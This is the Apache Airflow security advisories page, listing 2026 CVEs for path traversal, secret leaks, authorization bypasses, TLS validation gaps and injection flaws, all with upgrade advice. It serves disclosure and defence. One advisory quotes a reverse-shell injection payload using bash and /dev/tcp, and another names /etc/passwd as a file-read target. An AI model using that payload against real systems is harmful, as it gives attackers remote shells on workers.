Apache Airflow security advisories

Security information for Apache Airflow

Reporting

Do you want disclose a potential security issue for Apache Airflow? You can read more about the projects’ security policy on their security page, and email your report to the Apache Airflow Security Team.

Advisories

This section is experimental: it provides advisories since 2023 and may lag behind the official CVE publications. It may also lack details found on the project security page. If you have any feedback on how you would like this data to be provided, you are welcome to reach out on our public mailinglist or privately on security@apache.org

Path traversal in SFTPHook.retrieve_directory allows local file write outside the destination directory via malicious server-supplied directory-entry names

CVE-2026-50203 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-17T01:48:06.460Z

Affected

Apache Airflow SFTP provider before 5.8.1

Description

A path traversal in the SFTP provider (SFTPHook.retrieve_directory / SFTPOperator(operation=get)) let a malicious or compromised remote SFTP server write files outside the configured local destination directory via crafted directory-entry names. No Airflow account is required — the attack surface is any deployment downloading directories from an untrusted SFTP server. Upgrade apache-airflow-providers-sftp to 5.8.1 or later.

References

Credits

secuholic (finder)
Venkatraman Kumar (r3dw0lfsec), Securin (finder)
Jarek Potiuk (remediation developer)

Path traversal in GCSToSambaOperator via GCS object names

CVE-2026-49818 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-10T17:37:51.189Z

Affected

Apache Airflow Samba provider before 4.12.6

Description

The Apache Airflow Samba provider's GCSToSambaOperator joined GCS object names to the SMB destination path without a containment check, so an object named with ../ segments resolved a write path outside the configured destination_path. An attacker able to write objects into the source GCS bucket — typically an external data producer distinct from the trusted DAG author — could write files to arbitrary locations on the Samba target when the operator ran. Upgrade apache-airflow-providers-samba to 4.12.6 or later, which validates the resolved destination stays within destination_path.

References

Credits

secuholic (finder)
Jarek Potiuk (remediation developer)

Task-instance API exposes secrets in deferred trigger kwargs

CVE-2026-49487 [CVE] [CVE json] [OSV json]

Last updated: 2026-07-07T09:19:35.370Z

Affected

Apache Airflow before 3.3.0

Description

In Apache Airflow before 3.3.0, the REST API task-instance detail and list
endpoints returned a deferred task's trigger kwargs without masking. When a
deferred operator passed a secret (for example a provider API key) into its
trigger, any authenticated user with DAG-scoped task-instance read access for
that DAG could read that secret in clear text while the task was deferred.
Users should upgrade to apache-airflow 3.3.0 or later, which masks sensitive
values in trigger kwargs returned by the API.

References

Credits

Andrew Rukin (Arenadata) (finder)
Jarek Potiuk (@potiuk) (remediation developer)

FTP Provider does not protect FTPS data channel (missing PROT_P)

CVE-2026-49486 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-26T07:20:08.333Z

Affected

Apache Airflow FTP provider before 3.15.1

Description

The Apache Airflow FTP provider's FTPSHook.get_conn() created an ftplib.FTP_TLS connection but never called prot_p(), so although the control channel was TLS-protected the data channel was transmitted in cleartext. Any deployment using FTPSHook or FTPSFileTransmitOperator to move files over FTPS exposed file contents and credentials-in-transit to a network attacker able to observe the data connection. Upgrade apache-airflow-providers-ftp to 3.15.1 or later, which issues PROT P to encrypt the data channel.

References

Credits

Andrew Rukin (Arenadata) (finder)
Shubham Raj (remediation developer)

JWT Token Exposure in KubernetesExecutor Command-Line Arguments

CVE-2026-49298 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:34:31.163Z

Affected

Apache Airflow before 3.2.2

Description

A bug in Apache Airflow's KubernetesExecutor caused JWT tokens used by worker pods to authenticate against the Execution API to be passed to the worker container as command-line arguments visible in the pod spec. An authenticated UI/API user with Kubernetes read-only access to the cluster (e.g. pods/get in the Airflow namespace) could harvest the JWT from kubectl describe pod output and then call state-mutating Execution API endpoints — triggering Dag runs, clearing runs, reading or writing Variables / Connections / XComs — as if they were a running task. Affects deployments using the KubernetesExecutor. Users are advised to upgrade to apache-airflow 3.2.2 or later. This is the airflow-core half of the same vulnerability addressed by CVE-2026-27173, which shipped the apache-airflow-providers-cncf-kubernetes side of the fix. Deployments that already upgraded apache-airflow-providers-cncf-kubernetes to 10.17.0 or later per the CVE-2026-27173 advisory should additionally upgrade apache-airflow to 3.2.2 or later to close the core-side surface — the two fixes are complementary, not duplicates.

References

Credits

Nikolai Dvoinishnikov (nikdvy@gmail.com) (finder)
Anton Kuznetsov (piratusxp@gmail.com) (finder)
Anish Giri (remediation developer)

Path traversal via GCS object names → local/SFTP filesystem (GCSToSFTPOperator + GCSTimeSpanFileTransformOperator)

CVE-2026-49297 [CVE] [CVE json] [OSV json]

Last updated: 2026-07-04T05:57:06.977Z

Affected

Apache Airflow Google provider before 22.2.1

Description

Apache Airflow's Google provider operators GCSToSFTPOperator and GCSTimeSpanFileTransformOperator joined GCS object names returned by the bucket listing API directly to a destination filesystem path without normalisation or containment check. A user with write access to the source GCS bucket (typically a different trust principal than the DAG author — partner uploads, ingest-only service accounts, public-data buckets) could create an object whose name contains .. segments and cause the DAG run to write the downloaded blob outside the configured destination (the SFTP destination_path for GCSToSFTPOperator; the worker-local temp directory for GCSTimeSpanFileTransformOperator), enabling overwrite of arbitrary files on the SFTP server or the worker host. Affects deployments that ingest from buckets writable by less-trusted principals. Users are advised to upgrade to apache-airflow-providers-google 22.2.1 or later.

References

Credits

anonymous (finder)
Jarek Potiuk (remediation developer)

Per-DAG read bypass discloses co-located DAGs’ source via GET /api/v2/dagSources/{dag_id}

CVE-2026-49296 [CVE] [CVE json] [OSV json]

Last updated: 2026-07-07T09:18:11.178Z

Affected

Apache Airflow from 3.0.0 before 3.3.0

Description

Before apache-airflow 3.3.0, a user authorized to read one Dag could disclose the source of other Dags co-located in the same source file. GET /api/v2/dagSources/{dag_id} — and the equivalent Dag-source view in the UI — returned the entire source file without redacting Dags the caller was not authorized to read, bypassing per-DAG read authorization. Deployments that co-locate multiple Dags in a single file and rely on per-DAG access control to limit source visibility are affected; single-Dag-per-file deployments are not. Upgrade to apache-airflow 3.3.0 or later.

References

Credits

Matteo Panzeri (Università di Pavia), GitHub @matte1782 (finder)
Jarek Potiuk (remediation developer)

No certificate validation on SMTP STARTTLS connections

CVE-2026-49267 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:53:11.785Z

Affected

Apache Airflow from 2.0.0 before 3.2.2

Description

Apache Airflow's EmailOperator and the underlying airflow.utils.email helpers established SMTP STARTTLS connections without verifying the remote certificate when the deployment used [email] smtp_starttls=True without [email] smtp_ssl. An attacker positioned between the worker and the configured SMTP server (network MITM — typical hostile-network attack-surface for environments where the SMTP relay sits outside the worker's trust boundary) could present a self-signed certificate, have the worker complete the STARTTLS handshake silently, and capture the SMTP AUTH credentials and message contents the worker forwarded.

This CVE covers the core apache-airflow side of the same root cause already covered for the SMTP provider by CVE-2026-41016 (published 2026-04-27, covering apache-airflow-providers-smtp). Users who already applied the SMTP-provider fix from CVE-2026-41016 should additionally upgrade apache-airflow to 3.2.2 or later to cover the core-side path through airflow.utils.email. Affects deployments configured with smtp_starttls=True and smtp_ssl=False where the SMTP relay is reachable across a less-trusted network segment than the worker.

Users are advised to upgrade to apache-airflow 3.2.2 or later.

References

Credits

Francis Bergin (@francisbergin) (finder)
Jarek Potiuk (remediation developer)

Config API leaks per-key secrets backend kwargs - masker bypass on synthetic options

CVE-2026-48892 [CVE] [CVE json] [OSV json]

Last updated: 2026-07-07T09:16:24.501Z

Affected

Apache Airflow before 3.3.0

Description

The Config API in Apache Airflow surfaced per-key secrets-backend overrides (environment variables like AIRFLOW__SECRETS__BACKEND_KWARG__SECRET_ID and AIRFLOW__WORKERS__SECRETS_BACKEND_KWARG__SECRET_ID) as synthetic config options whose option names were not in sensitive_config_values, so the masker did not redact them. An authenticated UI/API user with Config read permission could retrieve plaintext secrets-backend credentials (Vault role_id / secret_id, etc.) from the Config API output. Affects deployments that configure secrets backends via per-key environment overrides. Users are advised to upgrade to apache-airflow 3.3.0 or later.

References

Credits

Omkhar Arasaratnam (@omkhar) (finder)
Jarek Potiuk (remediation developer)

/ui/dependencies scheduling graph leaks unreadable Dag identifiers via trigger/sensor dep.source/dep.target

CVE-2026-48891 [CVE] [CVE json] [OSV json]

Last updated: 2026-07-07T09:17:27.452Z

Affected

Apache Airflow before 3.3.0

Description

A bug in Apache Airflow's /ui/dependencies scheduling graph endpoint applied the caller's readable-Dag filter to the top-level serialized Dag key but still emitted referenced Dag IDs through the dep.source and dep.target fields of trigger / sensor dependency entries. An authenticated UI user with read permission on some Dags could enumerate the identifiers of other Dags they were not authorized to read by inspecting the dependency graph for trigger / sensor references. Affects deployments that rely on per-Dag read scoping to keep Dag identifiers private across teams. This is a residual gap in the fix for CVE-2026-28563, which filtered the top-level Dag key but did not propagate the filter into the trigger / sensor dep-source / dep-target fields. Users who already upgraded for CVE-2026-28563 should additionally upgrade to apache-airflow 3.3.0 or later to cover the residual trigger / sensor dependency leak.

References

Credits

Mitchell Benjamin / Revamp Studio (finder)
Jarek Potiuk (remediation developer)

Bulk JSON Variables bypass should_hide_value_for_key - redact() called without the key

CVE-2026-48828 [CVE] [CVE json] [OSV json]

Last updated: 2026-07-07T09:18:51.039Z

Affected

Apache Airflow before 3.3.0

Description

The Bulk Variables API in Apache Airflow called the redactor without passing the variable's key, so the key-based should_hide_value_for_key check (which triggers on secret-suffixed key names like *_password / *_token / *_secret) could not fire for JSON-decodable variable values. An authenticated UI/API user with bulk Variable read permission could retrieve plaintext values from JSON variables whose key would otherwise trigger redaction. Affects deployments that store sensitive values in JSON-typed Airflow Variables under secret-suffixed key names. Users are advised to upgrade to apache-airflow 3.3.0 or later (the fix landed on main after 3.2.2; no 3.2.x backport).

References

Credits

Omkhar Arasaratnam (@omkhar) (finder)
Shubham Raj (@shubhamraj-git) (remediation developer)

revoke_token() unreachable in FabAuthManager / KeycloakAuthManager logout path

CVE-2026-48726 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:35:18.096Z

Affected

Apache Airflow before 3.2.2

Description

A bug in Apache Airflow's auth manager logout handling left previously-issued JWT tokens valid after the user clicked logout in the UI: the logout flow for FabAuthManager and KeycloakAuthManager did not actually reach the underlying revoke_token() call, so the JWT remained accepted by the API server until its natural expiry. An attacker holding a previously-issued JWT for a logged-out user could continue to make authenticated API calls as that user. Affects deployments configured with FabAuthManager or KeycloakAuthManager (the bug does not affect SimpleAuthManager). This is a residual gap in the fix for CVE-2025-57735, which addressed cookie-side invalidation in PR #57992 / PR #61339 but did not cover the provider-side revoke_token() reachability in the FAB / Keycloak code paths. Users who already upgraded for CVE-2025-57735 should additionally upgrade to apache-airflow 3.2.2 or later to cover the FAB / Keycloak logout paths.

References

Credits

Bernardo Curi (r3ngar_bugado) (finder)
pierrejeambrun (remediation developer)

Event Log detail endpoint bypasses DAG-scoped event log permission filter

CVE-2026-46764 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:45:46.820Z

Affected

Apache Airflow before 3.2.2

Description

The Event Log detail endpoint GET /api/v2/eventLogs/{event_log_id} in Apache Airflow fetched audit-log rows directly by numeric ID after only the generic Audit Log permission check, while the collection endpoint GET /api/v2/eventLogs applied per-Dag scoping. An authenticated UI/API user with audit-log read permission for one Dag could retrieve audit-log entries for any other Dag by guessing or enumerating the numeric event log ID. Affects deployments that rely on per-Dag audit-log scoping. Users are advised to upgrade to apache-airflow 3.2.2 or later.

References

Credits

Stoyan Stoyanov Trendafilov (trstoyan), independent security researcher (finder)
Pierre Jeambrun (@pierrejeambrun) (remediation developer)

LDAP Filter Injection in FAB Auth Manager _search_ldap reachable via /auth/token

CVE-2026-46745 [CVE] [CVE json] [OSV json]

Last updated: 2026-05-25T11:30:22.680Z

Affected

Apache Airflow FAB provider before 3.6.4

Description

Apache Airflow FAB Auth Manager contains an LDAP filter injection vulnerability (CWE-90) that allows unauthenticated attackers to exfiltrate directory data or bypass authentication. Upgrade to apache-airflow-providers-fab 3.6.4 or later. If immediate upgrade is not possible, disable LDAP authentication until the provider can be updated.

References

Credits

Venkatraman Kumar (r3dw0lfsec), Securin (finder)
orbisai0security (automated scanner — Orbis Security AI) (remediation developer)

Log server JWT authorization bypass via Python lstrip() character stripping allows cross-Dag log access

CVE-2026-45426 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:47:13.162Z

Affected

Apache Airflow from 3.0.0 before 3.2.2

Description

Exploitation requires the attacker to already be an authenticated Airflow worker holding a valid Log-server JWT issued for at least one Dag. Apache Airflow's Log server authorized JWT tokens against Dag IDs by applying Python's str.lstrip() to the requested path segment when verifying the JWT's sub claim. str.lstrip() strips any of a set of characters from the left (not a prefix), so a JWT issued for a Dag named e.g. dag_a would authorize log access to any other Dag whose name began with any subset of the characters {d, a, g, _} (e.g. dag_attacker, aaaa_target, _dag_secret). Such an authenticated worker could enumerate and read worker logs of other Dags whose names happened to share that character-class prefix, leaking task output and error traces beyond the documented per-Dag isolation boundary. Affects deployments relying on per-Dag log-access scoping (multi-team, shared-executor, shared-worker topologies). Users are advised to upgrade to apache-airflow 3.2.2 or later.

References

Credits

Michael Lip (theluckystrike) (finder)
Jarek Potiuk (@potiuk) (remediation developer)

SSH host key verification disabled in ComputeEngineSSHHook (paramiko AutoAddPolicy default)

CVE-2026-45361 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T15:48:33.023Z

Affected

Apache Airflow Google provider before 22.0.0

Description

Apache Airflow providers-google's ComputeEngineSSHHook disables SSH host-key verification by default, exposing SSH traffic between an Airflow worker and a Compute Engine VM to in-path network attackers who can intercept or modify the session. Users are advised to upgrade to apache-airflow-providers-google 22.0.0 or later.

References

Credits

anonymous (finder)
Jarek Potiuk (remediation developer)

Arbitrary import in custom deadline-reference deserialization

CVE-2026-45360 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:48:10.959Z

Affected

Apache Airflow before 3.2.2

Description

Apache Airflow's scheduler-side deadline-reference decoder (SerializedCustomReference.deserialize_reference) imported and dispatched arbitrary class paths drawn from DAG-author-controlled serialized state without an allowlist or plugin-registry gate. A DAG author whose code reaches the scheduler — the default on single-host deployments where the DAG bundle is importable from the scheduler process — could embed a custom DeadlineReference whose serialized form named an attacker-controlled module path, causing the scheduler to import_string(...) and instantiate that class with a live SQLAlchemy session attached. Affects deployments where DAG-author code is less trusted than the scheduler process. Users are advised to upgrade to apache-airflow 3.2.2 or later.

References

Credits

Jarek Potiuk (remediation developer)

Incomplete Redaction of Sensitive Fields in Connection Extra API Response

CVE-2026-45192 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T06:51:50.457Z

Affected

Apache Airflow before 3.2.2

Description

A bug in the GET /api/v2/connections/{connection_id} REST API endpoint in Apache Airflow allowed an authenticated UI/API user with Connection-read permission to retrieve secrets stored in a Connection's extra JSON blob under field names not present in the redaction allowlist (DEFAULT_SENSITIVE_FIELDS) — for example, official Slack-provider credential field names were returned in plaintext. Affects deployments that store credentials in Connection extra blobs and grant Connection-read access to multiple users. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can store sensitive credential values in a secret-backend rather than inlined into the Connection's extra field.

References

Credits

Or Sahar, Secure From Scratch (finder)
Jarek Potiuk (@potiuk) (remediation developer)

OpenSearch task-log handler leaks credentials embedded in the host URL

CVE-2026-43826 [CVE] [CVE json] [OSV json]

Last updated: 2026-05-10T20:27:25.758Z

Affected

Apache Airflow Providers OpenSearch before 1.9.1

Description

The OpenSearch logging provider, when configured with a host URL that embeds credentials (for example https://user:password@server.example.com:9200), wrote the full host URL — including the embedded credentials — into task logs. Any user with task-log read permission could harvest the backend credentials. Users are advised to upgrade to apache-airflow-providers-opensearch 1.9.1 or later and, as a defense-in-depth measure, configure the backend credentials via a secret backend rather than embedding them in the [opensearch] host URL.

References

Credits

Aleksandr Sozinov (finder)
Owen-CH-Leung (finder)
Jarek Potiuk (remediation developer)

Prevent unauthorized access to team-scoped secrets in AWS Secrets Manager and SSM Parameter Store backends

CVE-2026-42526 [CVE] [CVE json] [OSV json]

Last updated: 2026-05-20T01:48:06.454Z

Affected

Apache Airflow Amazon provider before 9.28.0

Description

In the AWS Secrets Manager and SSM Parameter Store secrets backends of apache-airflow-providers-amazon prior to 9.28.0, the team-scoping logic could resolve a conn_id containing a / (e.g. "my_team/conn") to the same path as another team's team-scoped secret when the caller had no team context. A privileged caller without team context could therefore retrieve another team's secret by crafting a colliding conn_id. Fixed in 9.28.0 by switching the team-scope separator to -- and rejecting team-shaped conn_ids when team context is absent. Affects the experimental multi-tenant teams feature only. Users are recommended to upgrade to apache-airflow-providers-amazon 9.28.0, which fixes the issue.

References

Credits

Justin Pakzad (remediation developer)

Rendered template truncation bypasses nested sensitive-key masking

CVE-2026-42360 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:50:36.896Z

Affected

Apache Airflow before 3.2.2

Description

A bug in Apache Airflow's rendered-template field handling caused nested sensitive-key masking (e.g. nested password / token / secret / api_key keys inside a JSON template structure) to be bypassed when the rendered field exceeded [core] max_templated_field_length: Airflow stringified the structure before redaction, losing the nested key context, and persisted the plaintext value into rendered_fields. An authenticated UI/API user with permission to read rendered template fields could harvest secret values intended to be masked. Affects deployments where Dag authors pass structured JSON to operators with nested sensitive keys. This is a variant of CWE-200 previously addressed for the user-registered mask_secret() patterns in CVE-2025-68438; that fix did not cover the nested sensitive-keyword allowlist. Users who already upgraded for CVE-2025-68438 should additionally upgrade to apache-airflow 3.2.2 or later to cover the nested-key path.

References

Credits

Vincent55 (finder)
Jarek Potiuk (remediation developer)

Authenticated RCE via XCom PATCH endpoint — XComUpdateBody missing FORBIDDEN_XCOM_KEYS validator

CVE-2026-42359 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T15:13:25.919Z

Affected

Apache Airflow from 3.2.0 before 3.2.2

Description

A bug in Apache Airflow's XCom PATCH endpoint PATCH /api/v2/xcomEntries/{key} allowed an authenticated UI/API user with XCom write permission on a Dag to set XCom entries under reserved key names (e.g. return_value) that the matching POST endpoint already validated against FORBIDDEN_XCOM_KEYS. The endpoint also accepted serialized payload shapes the triggerer's deserializer treats as code; combined, this allowed RCE on the triggerer when the affected task next deferred. Affects deployments where untrusted users have XCom write permission on Dags that defer to the triggerer. This is a fix-bypass of CVE-2026-33858: PR #64148 added the FORBIDDEN_XCOM_KEYS validator only on the POST/set path; the PATCH path was not covered. Users who already upgraded for CVE-2026-33858 should additionally upgrade to apache-airflow 3.2.2 or later to cover the PATCH-path bypass.

References

Credits

Jeff Vier (@boinger) (finder)
Anisto Mejin (Izat) (finder)
Venkatraman Kumar (r3dw0lfsec), Securin (finder)
Jarek Potiuk (remediation developer)

Variable masker depth-limit bypass returns cleartext nested secrets

CVE-2026-42358 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:49:56.426Z

Affected

Apache Airflow before 3.2.2

Description

A bug in Apache Airflow's Variable response masker caused nested-key redaction (triggered by secret-suffixed key names like password, token, secret, api_key) to be bypassed when the JSON value's nesting depth exceeded the shared secrets masker's recursion limit: the masker returned the original nested item before checking the sensitive key name. An authenticated UI/API user with Variable read permission could harvest plaintext secret values stored under sensitive keys nested deep enough to exceed the masker's depth cap. Affects deployments that store sensitive values inside deeply-nested JSON Variables. This is a residual gap in the fix for CVE-2026-32690 (which covered shallower nesting via max_depth=1); the depth-limit boundary itself was not raised, so the same key-name bypass pattern reappears beyond the recursion cap. Users who already upgraded for CVE-2026-32690 should additionally upgrade to apache-airflow 3.2.2 or later to cover the deep-nesting path.

References

Credits

Vincent55 (confirmed in original report sign-off) (finder)
Aymane MAZGUITI – unclej4ck (finder)
Ilyase Dehy – Albert (finder)
Jarek Potiuk (remediation developer)

BashOperator Jinja2 injection via dag_run.conf — low-privilege user pattern

CVE-2026-42252 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:51:17.651Z

Affected

Apache Airflow from 3.0.0 before 3.2.2

Description

Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.can_trigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.

References

Credits

anonymous (finder)
Kevin Yang (sjyangkevin) (remediation developer)

API authorization bypass: bulk TaskInstances allows cross-DAG mutation

CVE-2026-41084 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:51:55.264Z

Affected

Apache Airflow from 3.2.0 before 3.2.2

Description

A bug in Apache Airflow's bulk Task Instances API (PATCH/DELETE /api/v2/dags/{dag_id}/dagRuns/{dag_run_id}/taskInstances) evaluated authorization against the dag_id resolved from the URL path while operating on the dag_id / dag_run_id extracted from request-body entity fields. An authenticated UI/API user with edit permission on one Dag could mutate Task Instance state in any other Dag by keeping the authorized Dag's ID in the URL path and naming the target Dag's IDs in the request body entities. Affects deployments that rely on per-Dag edit-scope to keep Task Instance state isolated between teams. Users are advised to upgrade to apache-airflow 3.2.2 or later.

References

Credits

Pirikara (finder)
GPK (gopidesupavan) (remediation developer)

Elasticsearch task-log handler leaks credentials embedded in the host URL

CVE-2026-41018 [CVE] [CVE json] [OSV json]

Last updated: 2026-05-10T20:38:57.776Z

Affected

Apache Airflow Providers Elasticsearch before 6.5.3

Description

The Elasticsearch logging provider, when configured with a host URL that embeds credentials (for example https://user:password@server.example.com:9200), wrote the full host URL — including the embedded credentials — into task logs. Any user with task-log read permission could harvest the backend credentials. Users are advised to upgrade to apache-airflow-providers-elasticsearch 6.5.3 or later and, as a defense-in-depth measure, configure the backend credentials via a secret backend rather than embedding them in the [elasticsearch] host URL.

References

Credits

Aleksandr Sozinov (finder)
Jarek Potiuk (remediation developer)

JWT cookie missing Secure flag in JWTRefreshMiddleware behind HTTPS-terminating proxy

CVE-2026-41017 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:52:32.340Z

Affected

Apache Airflow from 3.0.0 before 3.2.2

Description

Apache Airflow's JWTRefreshMiddleware set the JWT auth cookie without the Secure flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy / a managed load balancer that terminates TLS and forwards plaintext to the API server, the default cloud-native topology) would have the user's session JWT replayed over any cleartext HTTP request to the same host. A network-positioned attacker (Wi-Fi MITM, hostile LAN, captive-portal proxy) could induce a logged-in user's browser to issue an HTTP request to the deployment's hostname and capture the JWT cookie out of that request, then replay it against the authenticated API. Affects deployments where the Airflow API server is reached through a TLS-terminating proxy and the cookie's secure-by-default protection is load-bearing for session integrity. Users are advised to upgrade to apache-airflow 3.2.2 or later.

References

Credits

Ran (@eddieran) (finder)
Jarek Potiuk (remediation developer)

No certificate validation on SMTP STARTTLS connections (SMTP provider — split from #265) ##

CVE-2026-41016 [CVE] [CVE json] [OSV json]

Last updated: 2026-05-29T08:45:19.890Z

Affected

Apache Airflow Providers SMTP from 2.0.0 before 3.0.0

Description

Apache Airflow’s SMTP provider SmtpHook called Python’s smtplib.SMTP.starttls() without an SSL context, so no certificate validation was performed on the TLS upgrade. A man-in-the-middle between the Airflow worker and the SMTP server could present a self-signed certificate, complete the STARTTLS upgrade, and capture the SMTP credentials sent during the subsequent login() call. Users are advised to upgrade to the apache-airflow-providers-smtp version that contains the fix.

References

Credits

Francis Bergin (@francisbergin) (finder)
Jarek Potiuk (remediation developer)

per-DAG RBAC bypass on /ui/partitioned_dag_runs endpoints

CVE-2026-41014 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:53:50.879Z

Affected

Apache Airflow from 3.2.0 before 3.2.2

Description

The partitioned_dag_runs endpoints in the Airflow UI enforced only asset-level access control, not per-Dag authorization. An authenticated UI/API user with global Asset:read permission could enumerate partition run state, schedule configuration, and asset wiring for Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping while granting users broader Asset access. Users are advised to upgrade to apache-airflow 3.2.2 or later.

References

Credits

Yalguun Tumenkhuu (fg0x0) (finder)
Jarek Potiuk (remediation developer)

DAG authorization bypass on /ui/structure/structure_data

CVE-2026-40963 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:54:32.443Z

Affected

Apache Airflow from 3.0.0 before 3.2.2

Description

The structure_data endpoint in the Airflow UI returned external dependency graph nodes for linked Dags without checking whether the caller had read permission on those linked Dags. An authenticated UI/API user authorized for one Dag could enumerate linked Dag IDs and dependency metadata for other Dags they were not authorized to read. Affects deployments that rely on per-Dag read scoping to keep Dag dependency topology private across teams. Users are advised to upgrade to apache-airflow 3.2.2 or later.

References

Credits

Masamune - Unit515 OPSWAT (finder)
Jarek Potiuk (remediation developer)

Open Redirect Bypass Vulnerability

CVE-2026-40961 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:55:03.222Z

Affected

Apache Airflow from 3.0.0 before 3.2.2

Description

A bug in the login redirect route in Apache Airflow allowed authenticated users to craft URLs that bypassed the is_safe_url check, enabling redirection from a trusted Airflow domain to an attacker-controlled origin. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can place Airflow behind a reverse proxy that strips off-domain next= query parameters before they reach the login endpoint.

References

Credits

Fushuling@secsys (finder)
RacerZ@secsys (finder)
Aritra Basu (remediation developer)

OAuth Login CSRF — Missing State Parameter in Keycloak Auth Manager

CVE-2026-40948 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-19T23:44:07.936Z

Affected

Apache Airflow Providers Keycloak from 0.0.1 before 0.7.0

Description

The Keycloak authentication manager in apache-airflow-providers-keycloak did not generate or validate the OAuth 2.0 state parameter on the login / login-callback flow, and did not use PKCE. An attacker with a Keycloak account in the same realm could deliver a crafted callback URL to a victim’s browser and cause the victim to be logged into the attacker’s Airflow session (login-CSRF / session fixation), where any credentials the victim subsequently stored in Airflow Connections would be harvestable by the attacker. Users are advised to upgrade apache-airflow-providers-keycloak to 0.7.0 or later.

References

Credits

Haruki Oyama (Waseda University) (finder)

Import Errors API Leaks Unauthorized DAG Stack Traces via Incomplete Per-File RBAC Enforcement

CVE-2026-40913 [CVE] [CVE json] [OSV json]

Last updated: 2026-05-29T14:31:20.201Z

Affected

Apache Airflow

Description

The public Import Errors API can return unredacted stack traces from files containing DAGs the caller is not authorized to read. File-to-DAG resolution compares absolute paths against relative paths, so in real deployments it often returns an empty set and the single endpoint falls through to returning the raw error. The list endpoint also builds its per-file authorization decision from only the caller-visible subset of DAGs, so a file containing a mix of readable and unreadable DAGs passes the authorization check. Users with the Op permission for any DAG on a shared file can read import errors for files containing DAGs they cannot access, leaking stack traces, internal paths, and source-line context. A previously-shipped fix in apache/airflow#65329 (merged 2026-04-16) was reverted by apache/airflow#67465 (merged 2026-05-25) because the redact-when-no-readable-DAGs approach required a new dedicated permission with multi-team scoping that does not yet exist. Proper fix is being designed under apache/airflow#67461 (open feature request). Apache Airflow 3.2.2 ships without a fix; users running deployments that rely on per-DAG authorization for import-error visibility should restrict access to the Import Errors API until the proper fix ships.

References

Credits

se1en (finder)
Jarek Potiuk (remediation developer)

Arbitrary File Read via Log Symlink following in FileTaskHandler

CVE-2026-40861 [CVE] [CVE json] [OSV json]

Last updated: 2026-06-01T07:55:36.142Z

Affected

Apache Airflow before 3.2.2

Description

A Dag author could either (a) create a symlink under their task's log directory pointing to an arbitrary file readable by the API server process (read-path attack — e.g. /etc/passwd or airflow.cfg) or (b) supply a task_id containing .. sequences accepted by the Task SDK's KEY_REGEX (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured base_log_folder, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server's filesystem.

References

Credits

Silas Boch (finder)
Lakshmikanthan K (letchupkt) (finder)
Jarek Potiuk (remediation developer)

Assets graph view bypasses DAG level access control displaying unrelated topologies and all DAGs names to unauthorized users

CVE-2026-40690 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-24T12:35:28.702Z

Affected

Apache Airflow before 3.2.1

Description

The asset dependency graph did not restrict nodes by the viewer’s DAG read permissions: a user with read access to at least one DAG could browse the asset graph for any other asset in the deployment and learn the existence and names of DAGs and assets outside their authorized scope.

Users are recommended to upgrade to version 3.2.1, which fixes this issue.

References

Credits

Saurabh (finder)
Jarek Potiuk (remediation developer)

Dags endpoint might provide access to otherwise inaccessible entities

CVE-2026-38743 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-24T12:36:37.917Z

Affected

Apache Airflow before 3.2.1

Description

The authenticated /ui/dags endpoint did not enforce per-DAG access control on embedded Human-in-the-Loop (HITL) and TaskInstance records: a logged-in Airflow user with read access to at least one DAG could retrieve HITL prompts (including their request parameters) and full TaskInstance details for DAGs outside their authorized scope. Because HITL prompts and TaskInstance fields routinely carry operator parameters and free-form context attached to a task, the leak widens visibility of DAG-run data beyond the intended per-DAG RBAC boundary for every authenticated user.

Users are recommended to upgrade to version 3.2.1 , which fixes this issue.

References

Credits

Jed Cunningham (finder)
Kevin Yang (remediation developer)

Authorization bypass in DagRun wait endpoint (XCom exposure)

CVE-2026-34538 [CVE] [CVE json] [OSV json]

Last updated: 2026-04-09T09:09:19.260Z

Affected

Apache Airflow from 3.0.0 before 3.2.0

Description

Apache Airflow versions 3.0.0 through 3.1.8 DagRun wait endpoint returns XCom result values even to users who only have DAG Run read permissions, such as the Viewer role.This behavior conflicts with the FAB RBAC model, which treats XCom as a separate protected resource, and with the security model documentation that defines the Viewer role as read-only.
